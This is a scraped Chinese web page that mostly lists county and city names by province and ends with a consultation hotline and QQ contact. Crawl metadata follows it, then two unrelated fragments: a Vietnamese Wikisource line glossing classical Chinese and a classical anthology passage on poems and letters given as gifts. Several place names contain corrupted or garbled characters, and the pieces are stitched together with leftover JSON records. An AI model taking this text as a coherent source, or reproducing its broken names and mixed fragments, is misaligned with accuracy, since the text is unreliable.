平陸 垣曲 絳縣 稷山 芮城 夏縣 萬榮 臨猗 忻州 原平 代縣 神池 五寨 五臺 偏關 寧武 靜樂 繁峙 河曲 保德 定襄 岢嵐 臨汾 侯馬 霍州 汾西 吉縣 安澤 大寧 浮山 古縣 隰縣 襄汾 翼城 永和 鄉寧 曲沃 洪洞 蒲縣 呂梁 孝義 汾陽 文水 中陽 興縣 臨縣 方山 柳林 嵐縣 交**城 石樓 武川 包頭 固陽 烏?!〕喾濉幊恰×治鳌\"綕h 開魯 通遼 庫倫 奈曼 烏審 杭錦 根河 阿榮 五原 磴口 豐鎮 興和 卓資 商都 涼城 化德 多倫 正藍 鑲黃 興安 突泉 托克托 清水河 喀喇沁 巴林左 翁牛特 巴林右 扎魯特 準格爾 鄂托克 達拉特 滿洲里 牙克石 扎蘭屯 杭錦后 四子王 阿巴嘎 太仆寺 正鑲白 阿爾山 扎賚特 阿拉善 額濟納 呼和浩特 和林格爾 土默特左 土默特右 克什克騰 霍林郭勒 鄂爾多斯 伊金霍洛 鄂托克前 呼倫貝爾 額爾古納 陳巴爾虎 巴彥淖爾 烏拉特中 烏拉特前 烏拉特后 烏蘭察布 錫林浩特 二連浩特 蘇尼特左 蘇尼特右 錫林郭勒 烏蘭浩特 阿拉善左 阿拉善右 阿魯科爾沁 新巴爾虎 鄂倫春自治 西烏珠穆沁 東烏珠穆沁 科爾沁 鄂溫克族自治 察哈爾 沈陽 新民 法庫 遼中 康平 大連 莊河 長?!\"吧?海城 臺安 撫順 撫順 本溪 丹東 東港 鳳城 錦州 凌?!\"睂帯『谏健×x縣 營口 蓋州 阜新 彰武 遼陽 燈塔 遼陽 盤錦 盤山 大洼 鐵嶺 開原 鐵嶺 昌圖 西豐 朝陽 凌源 北票 朝陽 建平 興城 綏中 建昌 大石橋 瓦房店 普蘭店 調兵山 葫蘆島 長春 九臺 榆樹 德惠 農安 吉林 舒蘭 樺甸 蛟河 磐石 永吉 四平 雙遼 梨樹 遼源 東遼 東豐 通化 集安 通化 輝南 柳河 白山 臨江 靖宇 撫松 江源 松原 乾安 長嶺 扶余 白城 大安 洮南 鎮賚 通榆 延吉 圖們 敦化 龍井 琿春 和龍 安圖 汪清 公主嶺 梅河口 阿城 尚志 雙城 五?!》秸≠e縣 依蘭 巴彥 通河 木蘭 延壽 訥河 富?!\"萑「誓稀∫腊病】松健√﹣?克東 龍江 鶴崗 蘿北 綏濱 集賢 寶清 友誼 饒河 雞西 密山 虎林 雞東 大**甸 肇州 肇源 漠河 伊春 鐵力 嘉蔭 寧安 海林 穆棱 林口 東寧 同江 富錦 樺川 撫遠 樺南 湯原 勃利 黑河 北安 遜克 嫩江 孫吳 綏化 安達 肇東 海倫 綏棱 蘭西 明水 青岡 慶安 望奎 呼瑪 塔河 七臺河 雙鴨山 牡丹江 佳木斯 綏芬河 哈爾濱 齊齊哈爾 五大連池 上海 黃浦 盧灣 徐匯 長寧 靜安 普陀 閘北 虹口 楊浦寶山 閔行 嘉定 松江 金山 青浦 南匯 奉賢 崇明 浦東新區 江蘇 南京 溧水 高淳 無錫 江陰 宜興 徐州 邳州 新沂 銅山 睢寧 沛縣 豐縣 常州 金壇 溧陽 蘇州 常熟 太倉 昆山 吳江 南通 如皋 通州 海門 啟東 海安 如東 東?!」嘣啤≮M榆 灌南 淮安 漣水 洪澤 金湖 盱眙 鹽城 東臺 大豐 建湖 響水 阜寧 射陽 濱海 揚州 高郵 江都 儀征 寶應 鎮江 丹陽 揚中 句容 泰州 泰興 姜堰 靖江 興化 宿遷 沭陽 泗陽 泗洪 連云港 張家港 浙江 杭州 建德 富陽 臨安 桐廬 淳安 寧波 余姚 慈溪 奉化 寧?!∠笊健刂荨∪鸢病非濉∮兰巍《搭^ 平陽 蒼南 文成 泰順 嘉興 海寧 平湖 桐鄉 嘉善 海鹽 湖州 長興 德清 安吉 紹興 諸暨 上虞 嵊州 紹興 新昌 金華 蘭溪 義烏 東陽 永康 武義 浦江 磐安 衢州 江山 龍游 常山 開化 舟山 岱山 嵊泗 臺州 臨?!∮癍h 天臺 仙居 三門 麗水 龍泉 縉云 青田 云和 遂昌 松陽 慶元 景寧 安徽 合肥 長豐 肥東 肥西 蕪湖 蕪湖 南陵 繁昌 蚌埠 懷遠 固鎮 五河 淮南 鳳臺 當涂 淮北市 濉溪縣 銅陵 安慶 桐城 宿松 樅陽 太湖 懷寧 岳西 望江 潛山 黃山 休寧 歙縣 祁門 黟縣 滁州 天長 明光 全椒 來安 定遠 鳳陽 阜陽 界首 臨泉 潁上 阜南 太和 宿州 蕭縣 泗縣 碭山 靈璧 巢湖 含山 無為 廬江 和縣 六安 壽縣 霍山 霍邱 舒城 金寨 亳州 利辛\n渦陽 蒙城 池州 東至 石臺 青陽 宣城 寧國 廣德 郎溪 涇縣 旌德 績溪 馬鞍山 福建 福州 福清 長樂 閩侯 閩清 永泰 連江 羅源 平潭 廈門 莆田 仙游 三明 永安 明溪 將樂 大田 寧化建寧 沙縣 尤溪 清流 泰寧 泉州 石獅 晉江 南安 惠安 永春 安溪 德化 金門 漳州 龍?!∑胶汀∧暇?nbsp;詔安 漳浦 華安 東山 長泰 云霄 南平 建甌 邵武 建陽 松溪 光澤 順昌 浦城 政和 龍巖 漳平 長汀 武平 上杭 永定 連城 寧德 福安 福鼎 壽寧 霞浦 柘榮 屏南 古田 周寧 武夷山 江西 南昌 新建 南昌 進賢 安義 樂平 浮梁 萍鄉 蓮花 上栗 蘆溪 九江 瑞昌 九江 星子 武寧 彭澤 永修 修水 湖口 德安 都昌 新余 分宜 鷹潭 貴溪 余江 贛州 瑞金 南康 石城 安遠 贛縣 寧都 尋烏 興國 定南 上猶 于都 龍南 崇義 信豐 全南 大余 會昌 吉安 永豐 永新 新干 泰和 峽江 遂川 安福 吉水 萬安 宜春 豐城 樟樹 高安 銅鼓 靖安 宜豐 奉新 萬載 上高 撫州 南豐 樂安 金溪 南城 東鄉 資溪 宜黃 廣昌 黎川 崇仁 上饒 德興 上饒 廣豐 鄱陽 婺源 鉛山 余干 橫峰 弋陽 玉山 萬年 井岡山 景德鎮 山東 濟南 章丘 平陰 濟陽 商河 青島 膠南 膠州 平度 萊西 即墨 淄博 桓臺 高青 沂源 棗莊 滕州 墾利 廣饒 利津 煙臺 龍口 萊陽 萊州 招遠 蓬萊 棲霞 海陽 長島 濰坊 青州 諸城 壽光 安丘 高密 昌邑 昌樂 臨朐 濟寧 曲阜 兗州 鄒城 魚臺 金鄉 嘉祥 微山 汶上 泗水 梁山 泰安 新泰 肥城 寧陽 東平 威?!∪樯健∥牡恰s成 日照 五蓮 莒縣 萊蕪 臨沂 沂南 郯城 沂水 蒼山 費縣 平邑 莒南 蒙陰 臨沭 德州 樂陵 禹城 陵縣 寧津 齊河 武城 慶云 平原 夏津 臨邑 聊城 臨清 高唐 陽谷 茌平 莘縣 東阿 冠縣 濱州 鄒平 沾化 惠民 博興 陽信 無棣 菏澤 鄄城 單縣 鄆城 曹縣 定陶 巨野 東明 成武 河南 鄭州鞏義 新鄭 新密 登封 滎陽 中牟 開封 開封 尉氏 蘭考 杞縣 通許 洛陽 偃師 孟津 汝陽 伊川 洛寧 嵩縣 宜陽 新安 欒川 汝州 舞鋼 寶豐 葉縣 郟縣 魯山 安陽 林州 安陽 滑縣 內黃 湯陰 鶴壁 ??h 淇縣 新鄉 衛輝 輝縣 新鄉 獲嘉 原陽 長垣封丘 延津 焦作 沁陽 孟州 修武 溫縣 武陟 博愛 濮陽 南樂 臺前 清豐 范縣 許昌 禹州 長葛 許昌 鄢陵 襄城 漯河 臨潁 舞陽 義馬 靈寶 澠池 盧氏 陜縣 南陽 鄧州 桐柏 方城 淅川 鎮平 唐河 南召 內鄉 新野 社旗 西峽 商丘 永城 寧陵 虞城 民權 夏邑 柘城 睢縣 信陽 潢川 淮濱 息縣 新縣 商城 固始 羅山 光山 周口 項城 商水 淮陽 太康 鹿邑 西華 扶溝 沈丘 鄲城 確山 新蔡 上蔡 西平 泌陽 平輿 汝南 遂平 正陽\n濟源 三門峽 平頂山 駐馬店 湖北 武漢 黃石 大冶 陽新 十堰 鄖縣 竹山 房縣 鄖西 竹溪 荊州 洪湖 石首 松滋 監利 ** 江陵 宜昌 宜都 當陽 枝江 秭歸 遠安 興山 襄樊 棗陽 宜城 南漳 谷城 ??怠《踔荨∏G門 鐘祥 京山 沙洋 孝感 應城 安陸 漢川 云夢 大悟 孝昌 黃岡 麻城 武穴 紅安 羅田 浠水 蘄春 黃梅 英山 團風 咸寧 赤壁 嘉魚 通山 崇陽 通城 隨州 廣水 仙桃 天門 潛江 恩施 利川 建始 來鳳 巴東 鶴峰 宣恩 咸豐 丹江口 老河口 神農架 五峰 長陽 湖南 長沙 瀏陽 長沙 望城 寧鄉 株洲 醴陵 株洲 炎陵 茶陵 攸縣 湘潭 湘鄉 韶山 湘潭 衡陽 耒陽 常寧 衡陽 衡東 衡山 衡南 祁東 邵陽 武岡 邵東 洞口 新邵 綏寧 新寧 邵陽 隆回 城步 岳陽 臨湘 汨羅 岳陽 湘陰 平江 華容 常德 津市 澧縣 臨澧 桃源 漢壽 安鄉 石門 慈利 桑植 益陽 沅江 桃江 南縣 安化 郴州 資興 宜章 汝城 安仁 嘉禾 臨武 桂東 永興 桂陽 永州 祁陽 藍山 寧遠 新田 東安 江永 道縣 雙牌 懷化 洪江 會同 沅陵 辰溪 溆浦 中方 婁底 漣源 新化 雙峰 吉首 古丈 龍山 永順 鳳凰 瀘溪 保靖 花垣 冷水江 張家界 江華 芷江 新晃 通道 靖州 麻陽 湘西 廣東 廣州 從化 增城 深圳 珠?!∩穷^ 南澳 韶關 樂昌 南雄 仁化 始興 翁源 新豐 佛山 江門 臺山 開平 鶴山 恩平 湛江 廉江 雷州 吳川 遂溪 徐聞 茂名 高州 化州 信宜 電白 肇慶 高要 四會 廣寧 德慶 封開 懷集 惠州 惠東 博羅 龍門 梅州 興寧 梅縣 蕉嶺 大埔 豐順 五華 平遠 汕尾 陸豐 海豐 陸河 河源 和平 龍川 紫金 連平 東源 陽江 陽春 陽西 陽東 清遠 英德 連州 佛岡 陽山 清新 東莞 中山 潮州 潮安 饒平 揭陽 普寧 揭東 揭西 惠來 云浮 羅定 云安 新興 郁南 乳源 連山 連南 廣西 南寧 武鳴 隆安 馬山 上林 賓陽 橫縣 柳州 柳江 桂林 陽朔 臨桂 靈川 全州 平樂 興安 灌陽 荔浦 資源 永?!∥嘀荨♂∩n梧 藤縣 蒙山 北?!『掀?東興 上思 欽州 靈山 浦北 貴港 桂平 平南 玉林 北流 容縣 陸川 博白 興業 百色 凌云 平果 西林 樂業 德?!√锪帧√镪枴【肝鳌√飽| 那坡 賀州 鐘山 昭平 河池 宜州 天峨 鳳山 南丹 東蘭 來賓 合山 象州 武宣 忻城 崇左 憑祥 寧明 扶綏 龍州 大新 天等 防城港 三江 大化 巴馬 龍勝 金秀 融水 隆林 恭城 都安 富川 環江毛南 羅城仫佬 海南 ??凇…偤!≠僦荨∥牟∪f寧 東方 澄邁 定安 屯昌 臨高 三亞 五指山 白沙 昌江 樂東 陵水 保亭 瓊中 重慶 渝中 江北 南岸 北碚 萬盛 雙橋 渝北 巴南 萬州 涪陵 黔江 長壽 九龍坡 大渡口 沙坪壩 永川 合川 江津 南川 綦江 潼南 榮昌 璧山 大足 銅梁 梁平 城口 墊江 武隆 豐都 奉節 開縣 云陽 忠縣 巫溪 巫山 石柱 秀山 酉陽 彭水 四川 成都 彭州 邛崍 崇州 金堂 郫縣 新津 雙流 蒲江 大邑 自貢 榮縣 富順 米易 鹽邊 瀘州 瀘縣 合江 敘永 古藺 德陽 廣漢 什邡 綿竹 羅江 中江 綿陽江油 鹽亭 三臺 平武 安縣 梓潼 廣元 青川 旺蒼 劍閣 蒼溪 遂寧 射洪 蓬溪 大英 內江 資中 隆昌 威遠 樂山 夾江 井研 犍為 沐川 南充 閬中 營山 蓬安 儀隴 南部 西充 眉山 仁壽 彭山 洪雅 丹棱 青神 宜賓 宜賓 興文 南溪 珙縣 長寧 高縣 江安 筠連 屏山 廣安 華鎣 岳池 鄰水 武勝 達州 萬源 達縣 渠縣 宣漢 開江 大竹 雅安 蘆山 石棉 名山 天全 滎經 寶興 漢源 巴中 南江 平昌 通江 資陽 簡陽 安岳 樂至 紅原 汶川 阿壩 理縣 小金 黑水 金川 松潘 壤塘 茂縣 康定 丹巴 爐霍 九龍 甘孜 雅江 新龍 道孚 白玉 理塘 德格 鄉城 石渠 稻城 色達 巴塘 瀘定 得榮 西昌 美姑 昭覺 金陽 甘洛 布拖 雷波 普格 寧南 喜德 會東 越西 會理 鹽源 德昌 冕寧 馬爾康 九寨溝 峨眉山 都江堰 彝族自治縣 甘孜 涼山 阿壩 貴州 貴陽 清鎮 開陽 修文 息烽 水城 盤縣 遵義 赤水 仁懷 遵義 綏陽 桐梓 習水 鳳岡 正安 余慶 湄潭 安順 普定 德江 江口 思南 石阡 畢節 黔西 大方 織金 金沙 赫章 納雍 興義 望謨 興仁 普安 冊亨 晴隆 貞豐 安龍 凱里 施秉 從江 錦屏 鎮遠 麻江 臺江 天柱 黃平 榕江 劍河 三穗 雷山 黎平 岑鞏 丹寨 都勻 福泉 貴定 惠水 羅甸 甕安 荔波 龍里 平塘 長順 獨山 六盤水 六枝特區 萬山特區 三都 松桃 玉屏 沿河 道真 務川 鎮寧 紫云 關嶺 印江 黔東南 黔西南 威寧 黔南布 云南 昆明 安寧 富民 嵩明 呈貢 晉寧 宜良 曲靖 宣威 陸良 會澤 富源 羅平 馬龍 師宗 沾益 玉溪 華寧 澄江 易門 通?!〗ā\"I健∈┑椤〔龑帯↓埩辍◎v沖 昭通 永善 綏江 鎮雄 大關 鹽津 巧家 彝良 威信 水富 魯甸 麗江 華坪 永勝 思茅 臨滄 鎮康 鳳慶 云縣 永德縣 文山縣 硯山 廣南 馬關 富寧 西疇 丘北 蒙自 個舊 開遠 彌勒 紅河 綠春 瀘西 建水 元縣 石屏 景洪 勐?!〕邸≡\\ 南華 牟定 武定 大姚 雙柏 祿豐 永仁 姚安 大理市 劍川 彌渡 云龍 洱源 鶴慶 祥云 賓川 永平 潞西 瑞麗 盈江 梁河 隴川 瀘水 福貢 德欽 麻栗坡 香格里拉 拉薩 陜西 西安 高陵 藍田 戶 周至 銅川 宜君 寶雞 岐山 鳳翔 隴縣 太白 麟游 扶風 千陽 眉縣 鳳縣 咸陽 禮泉 涇陽 永壽 三原 彬縣 旬邑 長武 乾縣 武功\n淳化 渭南 韓城 華陰 蒲城 潼關 白水 澄城 華縣 合陽 富平 大荔 延安 安塞 洛川 子長 留壩 鎮巴 城固 南鄭 洋縣 寧強 佛坪 勉縣 西鄉 略陽 榆林 清澗 綏德 神木 佳縣 府谷 子洲 靖邊 橫山 米脂 吳堡 定邊 安康 紫陽 嵐皋 旬陽 鎮坪 平利 石泉 寧陜 白河 漢陰 商洛 鎮安 山陽 洛南 商南 丹鳳 柞水 甘肅 蘭州 永登榆中 皋蘭 金昌 永昌 白銀 靖遠 景泰 會寧 天水 武山 甘谷 清水 秦安 武威 民勤 古浪 張掖 民樂 山丹 臨澤 高臺 平涼 靈臺 靜寧 崇信 華亭 涇川 莊浪 酒泉 玉門 敦煌 安西 金塔 慶陽 慶城 鎮原 合水 華池 環縣 寧縣 正寧 定西 岷縣 渭源 隴西 通渭 漳縣 臨洮 隴南 成縣 禮縣 康縣 文縣 兩當 徽縣 宕昌 西和 臨夏 臨夏 康樂 永靖 廣河 和政 合作 臨潭 卓尼 舟曲 迭部 瑪曲 碌曲 夏河 嘉峪關 東鄉 肅北 張家川 天?!∶C南積 青海 西寧 湟源 湟中 平安 樂都 海晏 祁連 剛察 同仁 澤庫 尖扎 共和 同德 貴德 興?!≠F南 瑪沁 班瑪 甘德縣 達日 久治 瑪多 玉樹 雜多 稱多 治多 囊謙 寧夏 銀川 靈武 永寧 賀蘭 平羅 吳忠 同心 鹽池 固原 西吉 隆德 涇源 彭陽 中衛 中寧 海原 石嘴山 青銅峽 新疆 鄯善縣 哈密 伊吾 和田 洛浦 民豐 皮山 策勒 于田 墨玉 溫宿 沙雅 拜城 庫車 柯坪 新和 烏什 喀什 巴楚 澤普 伽師 葉城 疏勒 莎車 疏附 烏恰 和靜 尉犁 和碩 且末 博湖 輪臺 若羌 昌吉 阜康 米泉 奇臺 博樂 精河 溫泉 伊寧 奎屯 伊寧 昭蘇 新源 霍城 鞏留 塔城 烏蘇 額敏 裕民 沙灣 托里 青河 富蘊 福海 石河子市 阿拉爾 五家渠 吐魯番 托克遜 阿克蘇 阿瓦提 岳普湖 麥蓋提 英吉沙 阿圖什 阿合奇 阿克陶 庫爾勒 瑪納斯 呼圖壁 特克斯縣 尼勒克縣 吉木乃縣 布爾津縣 哈巴河縣 阿勒泰 烏魯木齊 克拉瑪依 圖木舒克 吉木薩爾 香港 澳門 臺灣 臺北 高雄 基隆 臺中 臺南 新竹 嘉義 臺北 板橋 宜蘭 宜蘭 新竹 竹北 桃園 桃園 苗栗 苗栗 臺中豐原 彰化 彰化 南投 南投 嘉義 太?!≡屏帧《妨?nbsp;臺南 新營 高雄 鳳山 屏東 屏東 臺東 臺東 花蓮 花蓮 澎湖 馬公市\n【廣州】 【從化】【增城】【深圳】 【珠?!?nbsp;【汕頭】 【南澳】 【韶關】 【樂昌】 【南雄】 【仁化】 【始興】 【翁源】 【新豐】 【佛山】 【江門】 【臺山】 【開平】 【鶴山】 【恩平】 【湛江】 【廉江】 【雷州】 【吳川】 【遂溪】 【徐聞】 【茂名 】【高州】 【化州】 【信宜】 【電白】 【肇慶】 【高要】 【四會】 【廣寧】 【德慶】 【封開】 【懷集】 【惠州】 【惠東】 【博羅】 【龍門】 【梅州】 【興寧】 【梅縣】 【蕉嶺】【大埔】 【豐順】 【五華】 【平遠】 【汕尾】 【陸豐】 【海豐】 【陸河】 【河源】 【和平】 【龍川】 【紫金】 【連平】 【東源】 【陽江】 【陽春】 【陽西】 【陽東】 【清遠】 【英德】 【連州】 【佛岡】 【陽山】 【清新】 【東莞】 【中山】 【 潮州】 【潮安】 【饒平】 【揭陽】 【普寧】 【揭東】 【揭西】【惠來】 【云浮】【羅定】 【云安】 【新興】 【郁南】 【乳源】 【連山】【連南】廣東\n為您推薦\n在線溝通,請點我在線咨詢\n咨詢熱線:\n13313307008\n客服qq:\n78715368","id":"","dump":"CC-MAIN-2022-33","url":"http:\/\/www.theemeryboard.com\/1.html","date":"2022-08-17T14:10:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572908.71\/warc\/CC-MAIN-20220817122626-20220817152626-00313.warc.gz","language":"lzh","language_score":0.6119815707,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.6119815707206726, \"nan_Hani_score\": 0.23112154006958008, \"cmn_Hani_score\": 0.14605127274990082}","num_words":2275,"character_repetition_ratio":0.0,"word_repetition_ratio":0.046,"special_characters_ratio":0.332,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.69,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"而 後 Nhi hậu = rồi sau, ensuite.\n故 Cố = cho nên, c'est pourquoi.\n量 有 升 斗 斛 石、而 後 知 多 寡、度 有 尋 丈 尺 寸、而 後 知 長 短、斤 有 權 𢖍、而 後 知 輕 重、故 欲 知 多 寡、必 量 以 較 之、欲 知 長 短、必 度 以 度 之、欲 知 輕 重、必 𢖍 以 秤 之、","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/vi.wikisource.org\/wiki\/Nam_h%E1%BB%8Dc_H%C3%A1n_v%C4%83n_kho%C3%A1_b%E1%BA%A3n\/B%C3%A0i_58","date":"2023-10-04T22:58:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511424.48\/warc\/CC-MAIN-20231004220037-20231005010037-00528.warc.gz","language":"lzh","language_score":0.8698251247,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8698251247406006, \"cmn_Hani_score\": 0.06951816380023956, \"nan_Hani_score\": 0.059918127954006195}","num_words":61,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.445,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":0.909,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"又 . 周 公 乃 为 诗 以 贻 王 . 名 之 曰 鸱 鸮 焉 .\n又 . 吉 甫 作 颂 . 其 诗 孔 硕 . 其 风 肆 好 . 以 赠 申 伯 .\n晏 子 曰 . 曾 子 将 行 . 晏 子 送 之 曰 . 君 子 赠 人 以 轩 . 不 如 赠 人 以 言 .\n史 记 曰 . 孔 子 适 周 . 见 老 子 . 辞 去 . 老 子 送 之 曰 . 吾 闻 富 贵 者 送 人 以 财 . 仁 者 送 人 以 言 . 吾 窃 仁 者 之 号 . 请 送 子 以 言 .\n孙 卿 子 曰 . 赠 人 以 言 . 重 于 金 石 珠 玉 . 劝 人 以 言 . 美 于 黼 黻 文 章 . 听 人 以 言 . 乐 于 钟 鼓 琴 瑟 .\n庄 子 曰 . 凡 交 近 则 必 相 靡 以 信 . 远 则 必 忠 之 以 言 .\n韩 子 曰 . 郑 人 有 遗 燕 相 书 者 . 夜 书 . 火 不 明 . 因 谓 持 烛 者 曰 . 举 烛 . 而 过 书 举 烛 . 非 书 意 也 . 燕 相 国 受 书 而 悦 之 曰 . 举 烛 者 . 高 明 也 . 举 贤 任 之 . 司 ○ 太 平 御 览 八 百 七 十 作 国 . 以 治 .\n穆 天 子 传 曰 . 穆 王 飨 西 王 母 于 瑶 池 之 上 . 上 赋 诗 往 来 . 辞 义 可 观 .\n汉 书 曰 . 古 者 诸 侯 卿 大 夫 . 交 接 邻 国 . 以 微 言 相 感 . 常 揖 让 之 时 . 必 称 诗 以 喻 其 志 .\n又 曰 . 陈 遵 为 河 南 太 守 . 既 至 官 . 常 遣 从 使 西 . 召 善 书 吏 十 人 于 前 . 治 私 书 . 谢 京 师 亲 故 . 遵 凭 几 . 占 书 数 百 封 . 亲 疏 各 有 意 .\n文 士 传 曰 . 桓 驎 伯 父 乌 ○ 太 平 御 览 三 百 八 十 五 作 焉 . 此 讹 . 官 至 太 尉 . 驎 年 十 二 . 在 座 . 焉 告 客 曰 . 吾 此 弟 子 . 知 有 异 才 . 殊 能 作 诗 赋 . 各 ○ 据 御 览 . 当 作 客 . 乃 为 诗 曰 . 甘 罗 十 二 . 杨 乌 九 龄 . 昔 有 二 子 . 今 则 桓 生 . 驎 即 应 声 答 曰 . 邈 矣 甘 罗 . 超 等 绝 伦 . 伊 彼 杨 乌 . 命 世 称 贤 . 嗟 予 憃 弱 . 殊 才 伟 年 . 仰 惭 二 子 . 俯 媿 过 言 .\n汉 杂 事 曰 . 高 彪 谒 马 融 . 辞 疾 不 见 . 彪 覆 刺 与 书 曰 . 闻 高 风 为 日 久 矣 . 故 不 待 介 者 . 造 君 子 之 门 . 冀 一 见 龙 光 . 叙 腹 心 之 愿 . 不 图 辞 之 以 疾 . 昔 者 周 公 兄 父 文 武 . 九 命 作 伯 . 以 君 华 夏 . 犹 握 沐 吐 餐 . 以 接 白 屋 之 士 . 天 下 归 德 . 历 载 邈 矣 . 今 君 不 能 相 见 . 宜 哉 . 融 省 书 大 惭 . 遣 人 辞 谢 追 请 . 径 去 不 还 .\n先 贤 行 状 曰 . 杜 安 入 太 学 . 时 号 曰 神 童 . 时 贵 戚 慕 安 高 行 . 多 有 与 书 者 . 不 辄 发 . 以 虑 后 患 . 常 凿 壁 藏 书 . 当 时 皆 嘉 其 虑 远 .\n会 稽 典 录 曰 . 陈 业 少 特 操 . 沛 国 桓 俨 . 当 世 英 俊 . 避 地 会 稽 . 闻 业 高 节 . 欲 与 相 见 . 终 不 获 . 后 俨 浮 海 南 入 交 州 . 临 去 . 遗 书 与 业 曰 . 不 因 行 李 . 以 系 阴 山 白 楼 . 曰 . 从 容 养 高 . 动 静 履 直 . 季 世 多 艰 . 爰 适 乐 土 . 闻 高 风 饥 渴 语 言 . 知 乃 深 隐 邈 然 . 终 时 求 仁 . 斯 得 勤 而 无 憾 . 齐 踪 古 贤 . 何 其 优 哉 .\n蜀 志 曰 . 马 良 使 吴 . 良 谓 诸 葛 亮 曰 . 今 衔 国 命 . 协 睦 二 家 . 幸 为 良 介 于 孙 将 军 . 亮 曰 . 君 试 自 为 文 . 良 即 为 草 曰 . 寡 君 遣 掾 马 良 . 通 聘 继 好 . 以 绍 昆 吾 豕 韦 之 勋 . 其 人 吉 士 . 荆 楚 之 令 . 鲜 于 造 次 之 华 . 而 有 克 终 之 美 . 愿 降 心 有 纳 . 以 慰 将 命 . 权 大 悦 之 .\n文 章 叙 录 曰 . 杜 挚 与 毌 丘 俭 乡 里 相 亲 . 故 为 诗 与 俭 . 求 仙 人 药 一 丸 . 欲 以 感 切 俭 . 求 助 也 .\n荀 氏 家 传 曰 . 荀 勖 . 蜀 平 之 后 . 遣 使 通 吴 . 司 马 文 王 . 用 公 所 作 书 与 孙 皓 . 皓 报 命 和 亲 . 王 谓 公 曰 . 君 前 作 书 . 使 吴 思 顺 . 胜 十 万 之 众 也 .\n楚 辞 曰 . 结 微 情 以 陈 词 兮 . 矫 以 遗 夫 美 人 .\n【 诗 】 后 汉 蔡 邕 答 对 元 式 诗 曰 . 伊 余 有 行 . 爰 戾 兹 邦 . 先 进 博 学 . 同 类 率 从 . 济 济 群 彦 . 如 云 如 龙 . 君 子 博 文 . 贻 我 德 音 . 辞 之 集 矣 . 穆 如 清 风 .\n又 答 卜 元 嗣 诗 曰 . 斌 斌 硕 人 . 贻 我 以 文 . 辱 此 休 辞 . 非 余 所 希 . 敢 不 酬 答 . 赋 诵 以 归 .\n魏 王 粲 赠 蔡 子 笃 诗 曰 . 悠 悠 世 路 . 乱 离 多 阻 . 济 岱 江 衡 . 邈 焉 异 处 . 风 流 云 散 . 一 别 如 雨 .\n魏 徐 干 答 刘 桢 诗 曰 . 与 子 别 无 几 . 所 经 未 一 旬 . 我 思 一 何 笃 . 其 愁 如 三 春 . 虽 路 在 咫 尺 . 难 涉 如 九 关 . 陶 陶 朱 夏 别 . 草 木 昌 且 繁 .\n魏 应 玚 报 赵 淑 丽 诗 曰 . 朝 云 不 归 . 久 结 成 阴 . 离 群 犹 宿 . 永 思 长 吟 . 有 鸟 孤 栖 . 哀 鸣 北 林 . 嗟 我 怀 矣 . 感 物 伤 心 .\n魏 繁 钦 赠 梅 公 明 诗 曰 . 瞻 我 北 园 . 有 条 者 桑 . 遘 此 春 景 . 既 茂 且 长 . 氤 氲 吐 叶 . 柔 润 有 光 . 黄 条 蔓 衍 . 青 鸟 来 翔 . 日 月 其 迈 . 时 不 可 忘 . 公 子 瞻 旃 . 勋 名 乃 彰 .\n魏 程 晓 赠 傅 休 弈 诗 曰 . 茕 茕 独 夫 . 寂 寂 静 处 . 酒 不 盈 觞 . 肴 不 掩 俎 . 厥 客 伊 何 . 许 由 巢 父 . 厥 醴 伊 何 . 玄 酒 瓠 脯 .\n又 赠 傅 休 弈 诗 曰 . 三 光 飞 景 . 玉 衡 代 迈 . 龙 集 甲 子 . 四 时 成 岁 . 权 舆 授 代 . 徐 陈 荡 秽 . 元 服 初 嘉 . 万 福 咸 会 . 赫 赫 应 门 . 严 严 朱 阙 . 群 后 伤 伤 . ○ 明 本 作 摥 摥 . 庭 燎 皙 皙 .\n魏 邯 郸 淳 答 赠 诗 曰 . 我 受 上 命 . 来 随 临 灾 . 与 君 子 处 . 曾 未 盈 期 . 见 召 本 朝 . 驾 言 趣 期 . 群 子 重 离 . 首 命 于 时 . 饯 我 路 隅 . 赠 我 嘉 辞 . 既 受 德 音 . 敢 不 答 之 . 余 惟 薄 德 . 既 局 且 鄙 . 见 养 贤 侯 . 于 今 四 祀 . 既 庇 西 伯 . 永 誓 没 齿 . 今 也 被 命 . 我 在 不 俟 . 瞻 恋 我 侯 . 又 慕 君 子 . 行 道 迟 迟 . 体 逝 情 止 . 岂 无 好 爵 . 惧 不 我 与 . 圣 主 受 命 . 千 载 一 遇 . 攀 龙 附 凤 . 必 在 初 举 . 行 矣 去 矣 . 别 易 会 难 . 自 强 不 息 . 人 谁 获 安 . 愿 子 大 夫 . 勉 匮 成 山 . 天 休 方 至 . 万 福 尔 臻 .\n晋 张 华 答 何 劭 诗 曰 . 良 朋 贻 新 诗 . 示 我 以 游 娱 . 穆 如 洒 清 风 . 焕 若 春 华 敷 . 自 昔 同 寮 采 . 于 今 比 园 墟 . 衰 夕 近 辱 殆 . 庶 几 并 悬 舆 . 散 发 重 阴 下 . 把 杖 临 清 渠 . 属 耳 听 鸣 禽 . 流 目 玩 倏 鱼 . 从 容 养 余 日 . 取 乐 于 桑 榆 .\n又 诗 曰 . 驾 言 归 外 庭 . 放 志 永 栖 迟 . 相 伴 步 园 畴 . 春 草 郁 郁 滋 . 荣 观 虽 盈 目 . 亲 友 莫 与 偕 . 悟 物 增 隆 思 . 结 恋 慕 同 侪 . 援 翰 属 新 诗 . 永 叹 有 余 怀 .\n又 赠 挚 仲 治 诗 曰 . 君 子 有 逸 志 . 栖 迟 于 一 丘 . 仰 荫 高 林 茂 . 俯 临 渌 水 流 . 恬 淡 养 玄 虚 . 况 精 研 圣 猷 .\n何 劭 赠 张 华 诗 曰 . 四 时 更 代 谢 . 万 物 迭 卷 舒 . 暮 春 忽 复 来 . 和 风 与 节 俱 . 俯 临 清 泉 涌 . 仰 观 嘉 木 敷 . 在 昔 同 班 司 . 今 者 并 园 墟 . 私 愿 阶 黄 发 . 逍 遥 乐 琴 书 . 举 爵 茂 阴 下 . 